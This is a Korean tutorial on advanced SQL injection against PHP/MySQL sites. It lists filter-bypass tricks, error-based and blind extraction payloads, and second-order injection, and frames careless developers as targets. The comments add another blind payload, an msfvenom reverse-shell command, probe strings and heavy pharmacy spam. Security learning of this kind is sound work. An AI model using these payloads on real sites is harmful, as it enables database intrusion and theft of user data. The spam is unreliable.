SQL Injection for Expert
작성자 : rubiya

SQL Injection for Expert

 

목차

* 이 문서는 어떻게 작성되었는가?
* SQL Injection Filter Bypass
* , Array 변수를 사용한 SQL Injection
* Error Based SQL Injection
* Error Based Blind SQL Injection
* Indirect SQL Injection
* Efficient Blind SQL Injection
* SQL Injection with information schema.processlist


[*] 이 문서는 어떻게 작성되었는가?

LeaveRet 소속의 rubiya 가 심화된 SQL injection 기법을 익히기를 희망하는 해커, 개발자들을 위해서 작성했다.

이 문서는 PHP, Mysql 환경에서의 SQL Injection 공격에 대한 잘 알려지지 않은 기술적인 지식에 대해서 다룰것이다.

rubiya805[at]gmail.com 으로 그에게 연락할 수 있다.



[*] SQL Injection Filter Bypass

대부분의 개발자들은 SQL Injection 으로부터 자신의 웹사이트를 보호하기 위해 싱글쿼터를 막는등의 근본적인 방어를 시도한다.
그러나 가끔 키워드를 필터링할경우가 존재하는데, 이는 대부분 오픈소스를 사용했거나 방화벽이 설치된 경우이다.
이럴 경우에 어떻게 필터링을 우회해야 하는지에 대해서 서술하겠다.

먼저 공백문자를 필터링할 경우에는 %09, %0a, %0b, %0c, %0d, %a0, /**/ 를 사용해서 공백문자를 대체할 수 있다.

이러한 키워드들이 막혔을 경우에는 ()를 사용할 수 있다.

select * from table 라는 쿼리와 select(*)from(table) 이라는 쿼리가 동일하다는 점을 사용한 기법이다.

#, -- 등의 주석이 필터링 되었을 경우에는 ;%00, /* 를 대신 사용할수도 있다. (Null문자는 magic_quotes_gpc 의 영향을 받음을 주의하자)

또한 싱글쿼터가 막혀서 문자열을 집어넣을 수 없을때는 0x, 0b를 사용해서 2진법, 16 진법으로 치환함으로써 대신할 수 있으며 환경에 따라서 x, b 만 사용해도 된다.

select x'61' = 'a'

아래처럼 0x, 0b 대신 36 진법을 사용해도 된다.

select conv(10,10,36)='A'

또한 아래처럼 가젯에서 추출하는 방법도 있다.

select substr(monthname(from_unixtime(1)),2,1)='a' // monthname(from_unixtime(1)) = 'January'

숫자를 사용할 수 없는 경우에는 auto type cast 를 사용해서 우회한다.

false = 0
true = 1
true+true = 2
floor(version()) = 5



일반적인 SQL Injection이 불가능할 경우에는 Blind SQL Injection 을 사용해야 한다.

Blind SQL Injection 을 하기 위해서는 글자를 잘라내는 과정이 선행되어야 하는데 여기서 substr 함수가 필터링될 경우가 있다.

콤마만을 필터링당했을 경우에는 select substr('asdf' from 1 for 1)='a' 라는 방법도 존재한다.

함수 자체가 필터링된 경우에는 substring 함수로 대체할수가 있다.

그러나 substring 함수에 substr 라는 문자열이 들어가기에 [substr(] 라는 단어를 필터링하지 않는이상 substr 함수와 함께 필터링될 확률이 높다.

그럴때는 like 쿼리의 와일드카드를 사용해서 아래처럼 우회할 수 있다.

select id from member where id like 'a%'
select id from member where id like 'b%'
select id from member where id like 'c%'

% 는 뒤에 몇글자가 들어오던지 상관하지않고 select 를 해주는 역할을 하는 와일드카드이기에 이런 공격이 가능한 것이다.

첫번째 글자를 알아낸 후에는 아래의 예제처럼 뒤에 한글자씩 추가해주면 된다.

select id from member where id like 'ca%'
select id from member where id like 'cb%'
select id from member where id like 'cc%'

와일드카드를 사용할때는 cat, camel, camera 처럼 여러개의 데이터가 동시에 select 될 경우가 있으니 익스플로잇을 작성할때 유의해야 한다.

like 가 필터링 당했다면 left 함수와 right 함수를 섞어서 사용함으로써 우회가 가능하다.

두 함수는 각각 1번째 인자로 들어온 값을 왼쪽, 오른쪽으로부터 2번째 인자로 들어온 값 만큼 잘라내는 함수이다.

이를 혼합해서 아래의 예제처럼 substr 함수를 대신할 수 있는 것이다.

select right(left('asd',1),1) = 'a'
select right(left('asd',2),1) = 's'
select right(left('asd',3),1) = 'd'

필터링이 더 걸려있으면 아래의 예제를 참고하자.

select mid('asd',1,1) = 'a'
select lpad('asd',1,space(1)) = 'a'
select rpad('asd',1,space(1)) = 'a'
select reverse(right(reverse('asd'),1)) = 'a'
select insert(insert('asd',1,0,space(0)),2,222,space(0)) = 'a'



concat 함수는 select 'a' 's' 'd' 'f'='asdf' 이렇게 대신할 수 있다.

if 함수는 case(), ifnull(), nullif() 로 대신할 수 있다.

ex) select case when 1=1 then sleep(1) else 1 end

sleep 함수가 막혔을 경우에는 benchmark() 함수를 사용해서 select benchmark(1000000,MD5(CHAR(118))) 이런식으로 반복적인 연산을 통해서 시간을 지연시킬 수 있다.

혹은 select (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C) 이런 실행시간이 오래 걸리는 쿼리를 실행함으로써 대신할수도 있다.

다만 위의 두 가지 방법은 응답하는데에 걸리는 시간이 불규칙적이라는 사실을 숙지해야한다.



[*] , Array 변수를 사용한 SQL Injection

php.ini 파일에서 magic_quotes_gpc = on 으로 설정해두면 클라이언트가 서버로 보내는 데이터에서 싱글쿼터 앞에 백슬래시를 붙여준다.

이는 SQL Injection 공격을 하는데에 큰 걸림돌이 되곤 한다.

그런데 magic_quotes_gpc 는 GET, POST, COOKIE 로 날아온 값에만 적용된다.

magic_quotes_gpc 만 믿고 , Array 변수를 데이터베이스에 함부로 날리는 개발자는 우리의 아주 좋은 먹잇감이다.

이를테면 insert into uploadfile values('filename','path') 라는 쿼리를 날렸을 경우에는 filename 대신에

fdsa'),(user(),'1234'),('asdf 라는 값을 날려서

insert into uploadfile values('asdf','fdsa'),(version(),'1234'),('asdf','path') 이런식으로 쿼리가 조작될 수 있는 것이다.

insert 쿼리에서 insert into table values('asdf',1),('fdsa',2),('zxc',3) 이런식으로 여러개의 값을 동시에 넣을 수 있다는 사실을 몰랐다면 이 기회에 알아두자.



[*] Error Based SQL Injection

에러메세지를 기반으로 하는 SQL Injection 기법은 에러메세지를 출력해주는 제한적인 환경에서만 사용이 가능하지만

쿼리 한번으로 원하는 데이터를 한번에 띄울 수 있기 때문에 로그도 적게남고 공격하는데에 소요되는 시간도 단축되서 Blind SQL Injection 기법에 비해 간편하고 빠르다.

에러기반 SQLi 기법은 mssql 환경에서는 아주 수월하다.

서로 다른 데이터형의 값을 비교하게되면 앞의 값을 뒤의 데이터형과 비교할 수 없다고 에러메세지를 한번에 뿜어주기 때문이다.

이를테면

select * from table where 'asdf'=123

이라는 쿼리를 날렸을 경우에

['asdf' 를 int 형의 값과 비교할 수 없습니다!]

라는 에러메세지가 뜬다.

그러나 mysql 에서는 auto type cast 를 해주기 때문에 서로 다른 데이터형의 값을 비교해도 아무런 문제가 없다.

원하는 값을 에러메세지에 한번에 띄우기 위해서는

select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a

이런식으로 공격해야한다.

여러개의 값에 같은 키워드를 주고 그 키워드로 정렬해서 에러를 내는 원리이다.

아래는 몇가지 예시이다.

select * from (select name_const(version(),1),name_const(version(),1))a

select * from table where 1=1 and ExtractValue(1,concat(0x01,version()))

select * from table where 1=1 and UpdateXML(1,concat(0x01,version()),1)

select * from table where (@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)

환경에 맞게 골라쓰자.



[*] Error Based Blind SQL Injection

사용할 상황이 드문 공격기법이지만 알아둬서 나쁠건 없으니 개념만 알아두자.

select * from table where 1 and if(1=1,1,(select 1 union select 2))

select * from table where 1 and if(1=2,1,(select 1 union select 2))

첫번째 예제는 if 절이 1=1 로 참이 되면서 단순히 1을 반환한다.

두번째 예제는 if 절이 거짓이 되면서 select 1 union select 2 라는 쿼리를 실행하게 되고,

서브쿼리에서 복수의 값을 반환하면서 에러가 발생하게 된다. (thx to hellsonic)



[*] Indirect SQL Injection

insert into member where values('guest','123','qwe') 라는 쿼리가 있다고 해보자.

[guest'] 를 입력하면 php 단에서는 이 값을 [guest\'] 로 변경한 후에 mysql에 날려줌으로써 쿼리에 영향을 끼치지 못하도록 할 것이다.

그런데 mysql에서 직접 값을 조회하면 (외의이지만 조금만 생각해보면 당연하게도) [guest'] 라는 값이 들어가있다.

이제 [guest'] 라는 계정으로 로그인을 한다면 내 아이디는 [guest'] 가 된다.

여기서 로그를 본다던지 하는 행동을 위해 쿼리에 아이디를 직접 넣는 코드가 있다면?

이번에는 [guest'] 라는 값이 쿼리에 영향을 끼치게 된다.

이 공격은 php.ini 의 magic_quotes_runtime 옵션이 off 일때만 적용 가능하다. (thx to dmbs335@LeaveRet)



[*] Efficient Blind SQL Injection

Blind SQL Injection 을 수행할 경우에 한 글자를 알아내기 위해 90여회의 쿼리를 날려줘야한다. (아스키범위 32~127)

그러나 쿼리를 효율적으로 작성하면 한 글자당 7회의 쿼리만으로 공격이 가능하다.

각 글자를 10진수로 변환해주고 다시 2진수로 변환한 후에 lpad 함수를 사용해 7글자로 맞춰주면 된다.

페이로드는 아래와 같다.

select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),1,1)

만약 알아내야하는 값이 md5 hash 와 같은 16진수의 묶음이라고 확신할 수 있다면 아래와 같은 쿼리를 통해서 글자당 4회의 쿼리로 더욱 효율적이고 빠른 공격이 가능하다.

select substr(lpad(bin(if(ascii(substring(pw,1,1))<90,ascii(substring(pw,1,1))-48,ascii(substring(pw,1,1))-87)),4,0),1,1)

[*] SQL Injection with information schema.processlist

대형 사이트를 대상으로 SQL Injection 공격을 진행할때에는 information schema.tables 테이블에 가서 테이블 목록을 봐도 어떤 테이블에 내가 원하는 정보가 담겨있는지 알기가 힘들다.

결국 당신은 이름이 비슷비슷한 수많은 테이블의 홍수속에서 멘붕당할수도 있다.

이럴때는 information schema.processlist 테이블을 사용해서 내가 원하는 정보를 담고있는 테이블을 빠르게 찾을 수 있다.

information schema.processlist 테이블은 현재 실행중인 쿼리들을 저장해두고 있다.

이럴때 select info from information_schema.processlist 라는 쿼리를 통해서 현재 실행중인 쿼리를 볼 수 있으며, 실험해보지는 않았으나 레이스컨디션 공격을 하듯이 반복적으로 시도하면 다른 사용자가 실행중인 쿼리도 조회가 가능할것이다.

만약 다른 사용자가 로그인중일때 우리가 해당 쿼리를 조회하는데에 성공했다면 회원들의 정보가 들어있는 칼럼명과 테이블명을 한번에 볼 수 있는것이다.

[+] 마침

이 문서가 새로운 지식을 갈망하던 당신에게 작게나마 도움이 되었기를 바라며 글을 마친다.

[+] 참고문헌

http://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf

http://hellsonic.tistory.com/entry/Error-Based-MYSQL-Injection

http://websec.wordpress.com/tag/sql-filter-bypass/

190개의 댓글이 달려있습니다.

rumiya
May 15, 2014 03:39
와 누가 작성했는지 내용이 정말 좋은 문서네요!

rugiya
May 15, 2014 03:40
와 정말 참신한 내용들이 담겨있네요! 작성자님 잘 읽겠습니다!!

rupiya
May 15, 2014 09:30
이게 바로 그 유명한...

rubiya
May 15, 2014 10:13
문서가 재밌네요!

runiya
May 15, 2014 12:21
잘 먹겠습니다.

rusiya
May 15, 2014 01:50
nice !

ruviya
May 15, 2014 02:09
문서 좀 괜찮은것 같네요 학회에 내보시는건 어떤가요??

wsss
May 16, 2014 11:57
1ㅋㅋㅋㅋㅋㅋ

wow
May 22, 2014 06:24
wow

kimpackoo
May 22, 2014 06:57
제가 부족하지만 잘 읽어서 흡수하겟습니다!

urban
Jun 24, 2014 10:52
생각도 못했던게 있네여 ㄷㄷ... 많이 배워갑니다. 잘쓸게요 ㅎㅎ..

djdjson
Jul 07, 2014 09:39
잘정리된 문서 보고 갑니다. 견문이 넓어지네요 감사합니다. ^^

flack3r
Sep 09, 2014 03:13
많은것을 배워갑니다~^^

sakuya
Sep 22, 2014 01:00
웹해커들 굶어죽는 문서/반박할수 없이 잘쓰신 문서

hackbyr0k
Sep 23, 2014 03:39
suninatas 22번 푸느라 구글링 샅샅이 뒤졌는데 현재 이문서보다 좋은문서는 아직 없습니다. 좋은 정보 감사합니다. ^^

aau602
Sep 28, 2014 10:45
감사합니다

1
Oct 01, 2014 04:03
OK!

지혼자 글쓰고 지혼자 댓글달고
Oct 14, 2014 08:28
힘내라 수혁아;..

야호
Oct 15, 2014 02:29
Array 변수를 사용한 SQL Injection - magic_quotes_gpc 만 믿고 , Array 변수를.. 이거는 $_FILES 라는 단어가 문서 올라가면서 이상하게 Array 라는 단어로 수정된거니 유의해주세요

kwonna
Oct 25, 2014 02:31
wow 정말 많은 것을 배워갑니다

날아라
Nov 04, 2014 12:39
rubiya님,틀린건인정하고 고치시죠.

김범수
Nov 05, 2014 02:37
도원형 틀린거 없습니다 이게 어떤 사람들 손을 거친건데 틀릴리가..

진용휘
Nov 05, 2014 11:13
lpad함수는 무의미한 값을 "저희가 넣는 길이" 인수에 맞춰 그만큼 길이가 될때까지 채워주는거구요. 7글자짜리를 꼭 8글자로 만들어 줄 이유도 모르겠네요. reverse 함수랑 동일한 효과인가요? 꼭 그럴 필요도 없이, lpad를 쓰면 만약 제가 lpad 인자에 넣어준 길이보다 그 문자열의 길이가 작다면 역순으로 해줄 필요도 없이 그냥 그 길이만큼 조회하면 될거구요(그러지 않다면 길이를 얻어오던 아니면 문자열이 있는지 없는지 체크를 하게 하던 뭐 여러가지 방법이 있을것같네요) 뭔가 이해가 안되게 써놓으셨네요. 1n73ction님 설명해 부탁드려요.

진용휘
Nov 05, 2014 11:16
설명해 부탁드려요 -> 설명 부탁드려요. lpad 함수 설명을 그냥 다시 한번 보죠. LPAD(문자열, 길이, 채울 문자열) 입니다. 첫번째 인자로 들어간 문자열의 길이가 두번째 문자열에 지정된 길이에 못미치면 세 번째 인자로 들어간 문자열들이 문자열 앞부분에 반복이 되면서 들어가집니다. 틀린게 없어보이는데요..

rubiya
Nov 06, 2014 06:31
문단의 제목이 효율적인 blind sql injection 입니다. 0~128을 벗어날때야 당연히 저렇게 해야하지만 특수한 상황을 가정해서 공격횟수를 늘려야할 필요를 못느끼겠네요. 그리고 공개를 안했을 뿐 저 페이로드보다 훨씬 간단하게 공격하는 방법도 있습니다. 주장하셨던 "내용이 틀렸다"는 표현도 잘못되신듯합니다. 특수한 상황을 가정하고자 한다면 함수들을 필터링하면 저렇게 공격이 안되지만 그렇다고 저게 잘못된 페이로드가 되지는 않습니다. 이런 공개적인 포럼에 자신의 이름을 걸고 문서를 올릴때는 내용에 책임을 지고 올린겁니다. 엉뚱한 지적에 대충 때려잡아 명예훼손까지 하시고서 덧글 삭제하는 기능이 없으니 배째라는 당당함이 어떻게 나오는지는 모르겠는데 고등학생이면 이제는 자신의 행동에 책임을 질 나이라고 생각합니다. 어떤 태도를 가져야할지 현명하게 판단하시길 빕니다.

ppad123
Nov 07, 2014 04:24
빼 와야 할 값이 8bit 멀티바이트 문자열인것 부터가 이미 뭔가 많이 어긋난거 같은데.. 대부분 hacker가 필요로 하는 문자는 32~ 127로 다 표현이 되고 그 정보를 토대로 다른걸 얻는게 훨씬 빨라보이는데.. 굳이 8bit를 신경쓸 필요가..? 1n73ction님의 좀더 자세한 설명이 필요함

to ppad123
Nov 07, 2014 09:07
윗 설명은 충분히 자세한데 잘 읽어보시지 않았네요. "물론 ASCII 문자는 7-bit 으로 모두 표현이 가능한 문자이며, 이런 방식의 블라인드 공격이 당장 문제가 되지는 않을 수 있지만 PHP , MySQL 환경에서의 블라인드 공격 진행이므로 확장판 ASCII 문자인 8-bit 멀티바이트 문자를 고려해야 하는 것입니다."

진용휘
Nov 18, 2014 02:43
참고로 MySQL의 ASCII 함수는 0~255까지 지원한다고 공식 사이트에 나와있으며, 뭐 문자 범위가 0~255라면 그렇게 하긴 해야되겠죠. 문제는, 멀티바이트라면 ASCII함수가 아닌 ORD함수를 써야됩니다. SUBSTR함수로 조회할 때는 아예 한 글자의 문자열 코드가 0~255가 아닌 더 많은 범위가 나올 수 있구요, 그런 경우에는 아예 ASCII함수에서 잘못된 값을 리턴하게 되구요. 아니면 BLOB으로 변환 후 ASCII함수를 쓰던지 해야합니다.

1n73c
Dec 01, 2014 05:30
음... 그러니까 제 말은 역시... 어쩔수없는 툴키디가 저라는 거죠

sangwon042
Dec 12, 2014 03:21
1

그러니까..
Dec 28, 2014 05:57
제가 지적드린 부분을 한 번 다시 살펴보도록 하죠. 우선 MySQL 환경에서의 ascii 함수는 단어 의미 그대로 7-bit ascii 범위 내에서 인식 및 지원, 각 십진값을 ascii 값으로 리턴해주는 함수입니다. 그런데 윗 페이로드를 보면 ascii 함수로 추출된 문자를 bin 함수로 이진화하고 변환된 이진값을 lpad 함수로 각 최상위 1비트 위치부터 0 값을 채워넣어 7-bit 형태를 만들어주고 최종적으로 substring 하여 총 7회를 쿼리하는 방식인데, 이는 잘못된 페이로드가 아님은 물론이고 ( 추출한 값중에 100000~111111 범위의 부족한 한자릿수를 최상위 1비트 자리에 "0"값을 패딩, 채워줌으로써 7-bit ascii 의 형태를 만들어주고 substring 하는 방식) 문서에서 32~127 범위 내에서 쿼리하여 추출한다고 앞서 설명까지 되어있으니까요. 그런데 제가 지적하였던 부분은 그런 의미가 아니에요. 알다시피 ascii 함수는 7-bit ascii 범위에 한해 정상적인 인식,반환이 가능합니다. 다시 말해 이 외의 다른 여러 메소드에 대한 다양한 매커니즘, bin 함수와 lpad 함수를 사용하여 최상위 비트부터 패딩하여 추출하는 방식 이외에 여러 환경에서 더욱 빠르고 효율적인 공격을 진행할 수 있는 다양한 방식의 페이로드에 대하여 문서에서 아무런 소개도 설명도 되어있지 않은 점. 이것이 제가 지적드린 부분입니다 ('더욱 효율적이고 빠른 공격을 진행 할 수 있는 방법 등에 대한 설명이 문서에 각 환경,버전별로 정리가 되어 있다면 "더 좋을텐데"..'). 이를테면 bin , lpad 변환 방식 대신 Binary Large OBject 변환 방식으로 대체하여 ascii 함수의 제한적인 범위를 8-bit 멀티바이트 범위 이상의 일부 유니코드 문자 범위까지 정상적으로 인식,리턴이 되도록 MySQL 환경에서 효율적으로 공격할 수 있으며, utf-8 환경에서 공격 페이로드 내의 비교연산자를 각 환경에 최적화, 변환하여 공격하는 Binary Searching 방식 등이있죠. 이 외에도 타겟 서버 사이드 단에서 ascii 함수 구문 (키워드) 자체를 필터링 하는 상황에서 공격자의 입장에있어서 각 환경,버전별로 대체 가능한 키워드에 대한 설명이 되어있다면 기술적인 면에서도 더 좋은 문서가 될 수 있겠죠. 그리고 알다시피 substr 함수가 지원하는 문자열 인식 범위만큼 ( 8-bit 멀티바이트 범위 이상의 일부 유니코드 문자 범위 ) 리턴해주는 ord 문자열 함수를 사용하여 대체할수 있고요 ( 앞서 수차례 언급한 부분 ). 이만하면 이제 이해하실거라 믿습니다. 설마 아직도 엉뚱한 지적이니 뭐니 되도 않는 기술적 차별화 같은 대답이나 하실 생각인가요? "어떤 태도를 가져야할지 현명하게 판단하시길 빕니다."

gohuns123
Jan 14, 2015 11:58
감사합니다.

jw032
Jan 17, 2015 10:37
In73ction님께더감사

dogbong
Mar 17, 2015 09:35
고수들 .... ㄷㄷ

exploit7002
Jul 23, 2015 03:24
좋은 문서네요. 물론 읽진 않았습니다.

Secret
Aug 03, 2015 05:23
충성

alscjf7612
Jun 06, 2016 08:29
많은 도움이 되었습니다. 정말 감사합니다.

' or 1=1--
Aug 12, 2016 10:07
zzz

111
Aug 21, 2016 01:58
dfdfdfdfdfdf

XRumerTest
Mar 17, 2017 02:39
Hello. And Bye.

XRumerTest
Mar 29, 2017 06:51
Hello. And Bye.

XRumerTest
Mar 29, 2017 09:24
Hello. And Bye.

XRumerTest
Apr 15, 2017 07:20
Hello. And Bye.

what
Apr 20, 2017 12:12
위에 url 적어놓은 댓글들 뭔가요?

K.
Jun 20, 2017 04:16
inputs = { # Assuming that only one row has `"admin"` as its `id`. "id": ("admin'&&" + "iF(" + "mID(lpAd(bIn(oRd(" + "iF(MId((biNarY/**/pw),{0},1)=''," + "SLeeP(5)," + "MiD((BiNaRy/**/pw),{0},1))" + ")),8,'0'),{1},1)=1" + ",SLeEp(1),0)=1#" ).format(char_pos, bit_ord), "pw": "_" } 이런 질의문을 만들어 보았어요!

ildo1227
Aug 14, 2017 08:25
msfvenom -p android/metrpreter/reverse_tcp LHOST=4444 R > / root/바탕화면/kerberos.apk 저가 초보이지만 저가 직접 만들어 봤어여 ㅎㅎ

asdfdas
Dec 15, 2017 09:39
fasdfdsa

sadfdasf
Dec 15, 2017 09:40
asdf

adsfdsaf
Dec 15, 2017 09:40
sadf

rDJd
Mar 17, 2018 09:32
DAeq

rDJd.,.),,'.("
Mar 17, 2018 09:32
DAeq

rDJd'xibCpP
Mar 17, 2018 09:32
DAeq

rDJd
Mar 17, 2018 09:32
DAeq

rDJd
Mar 17, 2018 09:32
DAeq

rDJd
Mar 17, 2018 09:32
DAeq(.,()(".'.

rDJd
Mar 17, 2018 09:32
DAeq'zGbiiC

도배좀
Mar 24, 2018 06:23
하지말자

Jefferyapota
May 11, 2018 11:00
kamagra oral jelly kaufen schweiz kamagra gold 1200din kamagra usa kamagra oral jelly review

Jefferyapota
May 11, 2018 12:22
kamagra 100mg side effects kamagra oral jelly india price kamagra kopen afhalen amsterdam kamagra store reviews

RonaldProme
Feb 10, 2019 03:40
usual dosage for viagra viagra generic viagra super active plus review generic viagra meaning of viagra

Jamesdam
Feb 10, 2019 06:11
price cialis 20mg australia cialis generic female cialis 20mg buy cialis generic max cialis dose 40 mg

RonaldProme
Feb 10, 2019 07:20
viagra super active plus for sale's generic viagra viagra vs cialis cost per pillow buy viagra cost of generic viagra at cvs

LesterSok
Feb 10, 2019 07:55
fildena 100 mg online sildenafil citrate fildena 100 mg reviews fildena cheapest fildena 100 for sale

JaysonFenly
Feb 10, 2019 08:40
generic cialis released yet buy cialis online generic cialis super active information generic cialis cost of cialis 5mg for daily use

DouglasBar
Feb 10, 2019 09:01
5 mg cialis side effects buy generic cialis online cialis 5mg generico pre벬쬸 cialis generic brand cialis 10 mg

Patrickfeelf
Feb 10, 2019 09:52
buy generic cialis online with mastercard generic cialis online coupons for cialis 20 mg cialis generic cialis soft tabs 20mg erfahrungen

Davidtal
Feb 10, 2019 11:44
kamagra store 極쨩뾨amagra uk kamagra oral jelly 100mg reviews buy kamagra uk kamagra uk

Patrickfeelf
Feb 11, 2019 01:25
brand cialis vs generic cialis buy generic cialis best price on brand cialis buy cialis online cialis side effects vision

JaysonFenly
Feb 11, 2019 05:48
cialis vs viagra vs levitra comparison table generic cialis purchase cialis and viagra buy cialis 40 mg cialis best dose

DouglasBar
Feb 12, 2019 01:32
cialis 20 mg tablets buy cialis cialis 5mg vs 20mg buy generic cialis generic cialis shipped from usa

Kevinadaby
Feb 12, 2019 01:56
kamagra kopen in de winkel nederland kamagra kamagra shop erfahrungen 2016 極쨩뾨amagra uk kamagra oral jelly 100mg price in pakistan

LesterSok
Feb 12, 2019 09:51
fildena 50 mg reviews fildena fildena 100 mg from india buy sildenafil citrate fildena 100 mg online

RonniePex
Feb 12, 2019 02:39
compare viagra and cialis dosages viagra viagra coupons 2018 viagra compare viagra prices in usa

JosephOnelt
Feb 12, 2019 04:21
se venta cialis generico en mexico buy generic cialis online buy generic viagra and cialis online canada generic cialis best price on 20 mg cialis brand

ScottAcunc
Feb 12, 2019 04:47
cost for cialis 20mg generic cialis viagra vs cialis cost cialis generic cialis single dosage and timing

RonniePex
Feb 12, 2019 06:39
cialis viagra comparison viagra generic levitra vs viagra vs cialis generic viagra viagra side effects acid reflux

MichaelAftep
Feb 13, 2019 08:09
when will cialis become generic in usa cialis generic cialis coupon 2017 $200 buy cialis online generic cialis india pharmacy

MichaelLenry
Feb 13, 2019 10:47
fildena 100 reviews is it safe fildena 100mg fildena 100 mg direction sildenafil citrate fildena 100 mg fast acting reviews

JosephOnelt
Feb 13, 2019 01:34
viagra e cialis generico cialis generic viagra vs cialis costs buy cialis cialis 5 mg price costco

ScottAcunc
Feb 13, 2019 08:50
cialis e viagra generico buy cialis buy generic viagra and cialis online canada buy cialis generic lowest price generic cialis

Kevinadaby
Feb 13, 2019 10:37
kamagra 極쨩뾨amagra uk kamagra online buy kamagra uk kamagra forum hr

MichaelAftep
Feb 13, 2019 11:46
levitra or cialis or viagra buy generic cialis online generic cialis available united states buy generic cialis cialis viagra levitra online

Thomasgof
Feb 14, 2019 11:23
cialis 5mg daily use cost buy cialis online cialis commercial actors names buy generic cialis generische cialis professional 20 mg

DerekPam
Feb 14, 2019 11:46
viagra cialis levitra generic cialis generic cialis prices at walmart cialis cialis generico italia farmacia

MichaelAftep
Feb 14, 2019 01:01
cialis generico opinion generic cialis online viagra vs cialis comparison cialis generic online cialis 20mg price

MichaelAftep
Feb 14, 2019 03:50
cialis tablet filmomhuld 10mg buy cialis online is generic cialis available in the us cialis cialis oral side effects

RobertKes
Feb 14, 2019 10:22
apteka kamagra opinie forum buy kamagra uk kamagra 100mg oral jelly amazon buy kamagra uk kamagra gold 1200din

MichaelLenry
Feb 15, 2019 04:59
fildena 50 for sale sildenafil citrate fildena citrate 50mg fildena 100mg fildena 100 reviews is it safe

RichardVex
Feb 15, 2019 08:46
black viagra commercial actress generic viagra pra comprar viagra precisa de receita m벬쯣ica viagra generic viagra generico italia in farmacia

Thomasgof
Feb 15, 2019 09:20
side effects of cialis and viagra buy cialis online cialis coupon lilly generic cialis cialis prices at walmart

RichardVex
Feb 15, 2019 11:46
purchase viagra online usa generic viagra viagra naturale funziona generic viagra female viagra review

Jamesstums
Feb 15, 2019 07:38
Oral Steroids For Jock Itch In order to examine your playing golf stance and swing, see on your own in a match. Or, even better, as k a buddy to video clip you as you may golf swing. By doing this, it will be possible to find out if your body is aligned well, and also you are swinging effectively. Once you have noticed what your mistakes are, it needs to be swift try to appropriate them. Testosterone Propionate 4ch In choosing which firm to use for your personal multilevel marketing business, make certain that direct help in the company is quickly readily available. Despite the fact that your mentor or recruiter can typically assist remedy most of your organization troubles, you will see instances when you will possess practical issues with the product or service that only the organization should be able to support you with. In these cases you need to ensure that the organization can easily and swiftly help you. Oral Steroids Seborrheic Dermatitis Keep inactive solar technology at heart when creating or redecorating a residence. Passive solar power residences gather sunshine via specifically-developed rooftops, wall surfaces, home windows, and floors. Inactive solar power varieties from getting microsoft windows angled to accumulate southern sun exposure to houses which can be warmed entirely if you use direct sunlight. Sustanon 250 Deca Anavar Cycle

DerekPam
Feb 15, 2019 09:25
viagra vs. cialis vs. levitra which is best buy cialis generic cialis 20 mg 30 tablet fiyat붋 buy generic cialis viagra vs cialis vs levitra prices

BillyCox
Feb 15, 2019 09:28
fildena 100 online fildena fildena 100 mg cheap fildena 100mg fildena 50 for sale

RobertKes
Feb 15, 2019 10:44
kamagra oral jelly kopen in rotterdam 極쨩뾨amagra uk kamagra oral jelly keine wirkung 極쨩뾨amagra uk kamagra oral jelly suppliers india

ManuelBog
Feb 15, 2019 11:21
Testosterone Cypionate Price An awesome method of getting even more use out of your iPhone would be to take full advantage of its photo taking pictures and enhancing features. By designing your camera interface and using a single or or more of the professional-high quality editing applications offered, you could find that you no longer must have a typical digicam. Dianabol Vs Sarms Shop for essentials regarding a month before going away to school. Get anything you feel you require, and you will have time to take into account issues you may have essential and possess time to visit a store to select them up before you leave. Very early planning is extremely important! Testosterone Enanthate 5ml There are a variety of house ingredients which you can use to acquire your laugh looking just a little whiter. You can test utilizing fresh lemon juice or preparing soft drinks to aid get yourself a cleanser smile. A lot of house elements have been proven to give you a brighter smile with tiny effort. Oq E Equipoise

AndrewcOarp
Feb 16, 2019 09:09
buy cheap viagra and cialis generic cialis online cialis brand 100mg buy cialis online cialis 5 mg dosage

AndrewcOarp
Feb 16, 2019 12:07
cialis pharmacy usa cialis generic online cialis generic lowest prices buy cialis generic cialis coupons printable coupons 2018

RichardUnemy
Feb 16, 2019 12:12
cialis 5 mg prices buy cialis generic viagra cialis levitra generic generic cialis cialis coupons 2018

BrianShala
Feb 16, 2019 12:35
cialis 5mg daily use study effectiveness buy generic cialis online viagra and cialis dosage and cost comparison between buy cialis generic buy cialis professional 20 mg

Bryanmus
Feb 16, 2019 07:45
kamagra gel forum hr 極쨩뾨amagra uk side effects of kamagra oral jelly kamagra kamagra oral jelly kaufen thailand

BillyCox
Feb 17, 2019 02:16
fildena 150 mg extra power order fildena fildena 50mg fildena fildena 100 online

HaroldAmowl
Feb 17, 2019 08:52
viagra professional vs viagra super active buy viagra cialis vs viagra reviews viagra generic viagra discount coupon cvs

RichardUnemy
Feb 17, 2019 09:36
brand name cialis 10mg buy cialis generische cialis professional 20 mg buy cialis generic cialis 20 mg 30 lu adet tablet

HaroldAmowl
Feb 17, 2019 12:10
viagra generico in italia prezzo generic viagra generic viagra soft tabs reviews viagra viagra cialis levitra comparison chart

BrianShala
Feb 17, 2019 05:04
cialis maximum dosage per week buy generic cialis online viagra vs cialis vs levitra side effects generic cialis viagra cialis levitra genericos

MichaelJoche
Feb 17, 2019 07:50
fildena 100 mg softgel capsule buy sildenafil citrate fildena 50 mg tablets buy from canada fildena fildena 150mg extra power

Bryanmus
Feb 17, 2019 10:08
kamagra usa next day shipping 極쨩뾨amagra uk kamagra 100mg amazon kamagra kamagra oral jelly kaufen per nachnahme

Donaldpoict
Feb 18, 2019 07:23
cialis generic availability date buy cialis generic buy generic cialis in canada buy generic cialis online cialis dosage info

Trumangooth
Feb 18, 2019 07:39
cialis side effects eye pain generic cialis cialis 20 mg dosering generic cialis price cialis 20mg australia

Lloydideag
Feb 18, 2019 08:30
cialis generico 20 mg opinioni generic cialis cialis price walmart pharmacy cialis generic online generic cialis available united states

Lloydideag
Feb 18, 2019 11:34
cialis brand 20 mg original buy generic cialis maximum dosage of cialis a day buy generic cialis cialis qual dosagem tomar

Albertchill
Feb 18, 2019 07:58
buy kamagra oral jelly online in india kamagra kamagra soft chewable tablets 100 mg kamagra kamagra reviews uk

Donaldpoict
Feb 19, 2019 03:43
cialis 2.5 mg vs 5 mg reviews buy generic cialis online cialis generico en mexico farmacias similares buy generic cialis dosage for 20mg cialis

Trumangooth
Feb 19, 2019 10:04
